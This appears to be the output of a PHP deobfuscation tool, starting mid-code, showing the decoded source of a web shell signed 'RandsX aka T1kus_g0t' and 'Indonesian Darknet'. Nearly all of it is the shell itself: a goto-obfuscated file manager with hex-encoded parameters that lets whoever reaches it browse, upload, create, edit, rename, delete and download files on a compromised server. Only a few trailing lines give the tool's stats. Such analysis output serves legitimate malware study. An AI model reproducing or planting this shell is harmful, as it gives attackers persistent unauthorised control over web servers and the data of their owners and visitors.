\x9\x9	"; $ps = $func[4]("/(\\|\/)/", $p); foreach ($ps as $k => $v) { goto N1swF3LEWe; N1swF3LEWe: if (!($k == 0 && $v == '')) { goto H9vn1HfHRe; } echo "<a href="?p=2f">~</a>/"; goto hcWjmSaGr_; H9vn1HfHRe: if (!($v == '')) { goto KiV4tu9KrE; } goto ItbF_M2Lb5; YsvQ7I5pXL: if (!($i <= $k)) { goto ak1EVOsDSx; } echo hex($ps[$i]); if (!($i != $k)) { goto QA31tIU3Rr; } echo "2f"; QA31tIU3Rr: goto ZcGNET1SN8; ItbF_M2Lb5: goto hcWjmSaGr_; KiV4tu9KrE: echo "<a href="?p="; $i = 0; hDgJgO96Dm: goto YsvQ7I5pXL; ZcGNET1SN8: FTfV_eX6ie: $i++; goto hDgJgO96Dm; ak1EVOsDSx: echo "">{$v}</a>/"; goto JKdl5NjkB_; JKdl5NjkB_: hcWjmSaGr_: goto je0ISqz1vs; je0ISqz1vs: } wSLl7iXZJv: echo "	\x9</div>\xd\xa	</div>
\x9<article class="bg-dark border table-responsive-sm mt-2">
		"; goto fE1TRkKMHM; fE1TRkKMHM: if (!isset($_GET["a"])) { goto ulY2c1qwGP; } if (!isset($_GET["a"])) { goto mVfAbSYA8o; } $a = nhx($_GET["a"]); mVfAbSYA8o: echo "\x9\x9<div class="px-2 py-2">\xd
\x9\x9\x9"; goto td972J650X; rsAPahBjC8: isset($_POST["s"]) ? $func[12]("{$p}/{$_POST["n"]}") ? a("file name has been used", 0, "&a=" . hex("newFile")) : ($func[13]("{$p}/{$_POST["n"]}", $_POST["ctn"]) ? a("file created successfully", 1, "&a=" . hex("view") . "&n=" . hex($_POST["n"])) : a("file failed to create", 0)) : null; goto EHmbv8BUWg; UrAZLocG8c: echo "\x9\x9	<h5 class="border p-1 mb-3">Rename "; echo $_GET["t"] == "d" ? "folder" : "file"; goto r2uPZa3fXB; Ul5FR4e5KP: echo "<!doctype html>
\xa<!-- RandsX aka T1kus_g0t -->
\xa<html lang="en">\xd\xa<head>\xd\xa	<meta name="theme-color" content="red">\xd
\x9<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">\xd\xa	<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">\xd\xa	<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
	<title>"; echo self; echo "</title>
\xa\x9<style>.table-hover tbody tr:hover td{background:red}.table-hover tbody tr:hover td>*{color:#fff}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}li{font-size:18px;margin-left:6px;list-style:none}a{color:#fff}</style>\xd
\x9<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>\xd
</head>\xd
<body style="background-color:#000;color:#fff;font-family:serif;">\xd
\x9<div class="bg-dark table-responsive text-light border">
		<div class="d-flex justify-content-between p-1">
\xa		\x9<div><h3 class="mt-2"><a href="?">"; echo self; echo "</a></h3></div>
			<div>\xd\xa\x9	\x9	<span>PHP Version : "; goto ALyujsM9q8; FrTCFo8xcs: header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $func[17](nhx($_GET["n"]))); header("Content-disposition: attachment; filename="" . nhx($_GET["n"]) . """); zfwyFS344A: goto F0fdwsKvbA; er4WBJGKOJ: a("failed to delete the folder", 0); goto Lql4MirOpU; dYYR8ojn4s: a("folder deleted successfully"); Lql4MirOpU: goto ona4n1872m; IoY1weKx49: $i = 0; Cv3b0ePAbW: if (!($i < count($n))) { goto G2_5SL5FMs; } if ($func[11]($_FILES["f"]["tmp_name"][$i], $n[$i])) { goto n8oJvccKP2; } a("file failed to upload", 0); goto jiiJoCcoFy; jiiJoCcoFy: goto Uytcg0lfx4; n8oJvccKP2: a("file uploaded successfully"); Uytcg0lfx4: FoA33D3KhZ: goto PhIZHlfWil; ALyujsM9q8: echo $func[1](); echo "</span> <br>
\xa\x9	\x9	<a href="?p="; echo hex($p) . "&a=" . hex("newFile"); echo "">+File</a>\xd
\x9\x9	\x9<a href="?p="; echo hex($p) . "&a=" . hex("newDir"); goto os1yUo_Yqf; ona4n1872m: kpC5HXJqTx: if (!($_GET["t"] == "f")) { goto FSi6ipEU__; } $loc = $p . "/" . nhx($_GET["n"]); unlink($loc); if (!$func[12]($loc)) { goto KzasCPGh4b; } goto BUHBBEUEjL; P5h_iu38Mw: echo "\x9	</div>
	\x9"; goto dcT9S6QqIU; ulY2c1qwGP: echo "\x9\x9<table class="table table-hover table-bordered table-sm">
	\x9	<thead class="text-light">\xd
	\x9\x9	<tr>\xd
	\x9		\x9<th>Name</th>
\xa\x9\x9\x9\x9\x9<th>Size</th>\xd\xa\x9\x9\x9\x9\x9<th>Permission</th>\xd\xa\x9	\x9	\x9<th>Action</th>\xd\xa\x9\x9	\x9</tr>\xd\xa			</thead>
\xa\x9\x9	<tbody class="text-light">\xd\xa			\x9"; $scD = $func[5]($scD($p), [".", ".."]); goto yjs4m8eKj3; lFezqt9Hec: FSi6ipEU__: lpKoq5LumM: echo "	\x9\x9"; if ($a == "newDir") { goto Kn5D2Yu0jF; } if ($a == "newFile") { goto L7WrVJkycu; } goto jPeiH1lnX2; yjs4m8eKj3: foreach ($scD as $d) { if ($func[6]("{$p}/{$d}")) { goto KQtl0AlrOv; } goto t3Si15LQ5t; KQtl0AlrOv: echo "\xd\xa\x9	\x9\x9\x9<tr>
\xa\x9\x9\x9\x9\x9\x9<td><a href="?p=" . hex("{$p}/{$d}") . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on " . $func[19]("Y-m-d H:i", $func[20]("{$p}/{$d}")) . ""><i class="fa fa-fw fa-folder"></i> {$d}</a></td>\xd
\x9	\x9		\x9<td>N/A</td>
\xa\x9\x9	\x9	\x9<td><font color="" . ($func[8]("{$p}/{$d}") ? "#00ff00" : (!$func[9]("{$p}/{$d}") ? "red" : null)) . "">" . perms("{$p}/{$d}") . "</font></td>\xd
	\x9\x9\x9		<td>\xd
		\x9		\x9	<a href="?p=" . hex($p) . "&a=" . hex("rename") . "&n=" . hex($d) . "&t=d" data-toggle="tooltip" data-placement="auto" title="Rename"><i class="fa fa-fw fa-pencil"></i></a>\xd\xa	\x9	\x9\x9\x9	<a href="?p=" . hex($p) . "&a=" . hex("delete") . "&n=" . hex($d) . "" class="delete" data-type="folder" data-toggle="tooltip" data-placement="auto" title="Delete"><i class="fa fa-fw fa-trash"></i></a>
\xa\x9\x9\x9\x9	\x9</td>\xd\xa		\x9\x9\x9</tr>"; t3Si15LQ5t: } jj8IeXlRGY: foreach ($scD as $f) { if ($func[7]("{$p}/{$f}")) { goto U6Sra_DIuT; } goto J0gB9hol1y; U6Sra_DIuT: $size = $func[10]("{$p}/{$f}") / 1024; $size = round($size, 3); $size = $size > 1024 ? round($size / 1024, 2) . "MB" : $size . "KB"; echo "\xd\xa\x9\x9\x9	\x9<tr>
\x9\x9\x9\x9\x9	<td><a href="?p=" . hex($p) . "&a=" . hex("view") . "&n=" . hex($f) . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on " . $func[19]("Y-m-d H:i", $func[20]("{$p}/{$f}")) . ""><i class="fa fa-fw fa-file"></i> {$f}</a></td>\xd\xa		\x9		\x9<td>{$size}</td>\xd\xa\x9\x9		\x9	<td><font color="" . ($func[8]("{$p}/{$f}") ? "#00ff00" : (!$func[9]("{$p}/{$f}") ? "red" : null)) . "">" . perms("{$p}/{$f}") . "</font></td>
\xa					\x9<td>
\xa\x9	\x9\x9	\x9	<div class="d-flex justify-content-between">
\x9	\x9	\x9	\x9		<a href="?p=" . hex($p) . "&a=" . hex("edit") . "&n=" . hex($f) . "" data-toggle="tooltip" data-placement="auto" title="Edit"><i class="fa fa-fw fa-edit"></i></a>
\x9	\x9\x9		\x9	\x9<a href="?p=" . hex($p) . "&a=" . hex("rename") . "&n=" . hex($f) . "&t=f" data-toggle="tooltip" data-placement="auto" title="Rename"><i class="fa fa-fw fa-pencil"></i></a>
\xa\x9		\x9\x9\x9\x9	\x9<a href="?p=" . hex($p) . "&n=" . hex($f) . "&download" . "" data-toggle="tooltip" data-placement="auto" title="Download"><i class="fa fa-fw fa-download"></i></a>
\xa\x9		\x9				\x9<a href="?p=" . hex($p) . "&a=" . hex("delete") . "&n=" . hex($f) . "" class="delete" data-type="file" data-toggle="tooltip" data-placement="auto" title="Delete"><i class="fa fa-fw fa-trash"></i></a>\xd\xa\x9\x9	\x9		\x9</div>
				\x9\x9</td>
\x9		\x9\x9</tr>\xd
\x9	\x9	\x9"; J0gB9hol1y: } L_h_Ve8AiE: echo "\x9	\x9</tbody>
\xa		</table>
\xa		"; goto n9QuPP0ilv; vuwRqH1lVV: Qx_L32n1k1: echo "	\x9	<h5 class="border p-1 mb-3">Edit file</h5>\xd
		\x9<span>File name : "; echo nhx($_GET["n"]); echo "</span>
\xa			<form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control">"; echo $func[18]($func[14]($p . "/" . nhx($_GET["n"]))); goto lJD5NoCLro; ZzSYo3cO9b: echo "\x9</article>\xd
\x9<div class="bg-dark border text-center mt-2">
\xa\x9\x9<small>Copyright &copy; 2021 - Powered By Indonesian Darknet</small>\xd\xa\x9</div>
\xa\x9<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>\xd\xa	<script src="//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" ></script>
	<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>\xd\xa\x9<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>\xd\xa</body>\xd
</html>\xd
"; ?>

Function Calls

None

Variables

None

Stats

MD5 008b8e0bb83e94f474286bf82eba2340
Eval Count 0
Decode Time 56 ms